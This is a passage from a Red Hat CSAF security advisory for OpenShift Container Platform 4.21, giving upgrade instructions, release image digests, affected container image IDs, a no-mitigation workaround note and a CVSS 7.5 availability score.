"details": "For OpenShift Container Platform 4.21 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:7224f77afb20aedaf82bfc13ca11699689bd5b06795d6d1740dbd4c265150c44\n\n (For s390x architecture)\n The image digest is sha256:73811451efed403727e561f1ffadc1936c71bbefbae526fcea86a88fe23473f2\n\n (For ppc64le architecture)\n The image digest is sha256:05cb0b4804507c0b5e7923b7c6bcf293bd4e2d0f476c8ec6d13b179eb3157b42\n\n (For aarch64 architecture)\n The image digest is sha256:fd193bcd1042c3f17c33e7668d7b9866b915ac07075e6c2e35b0fe396bfd9a51\n\nAll OpenShift Container Platform 4.21 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
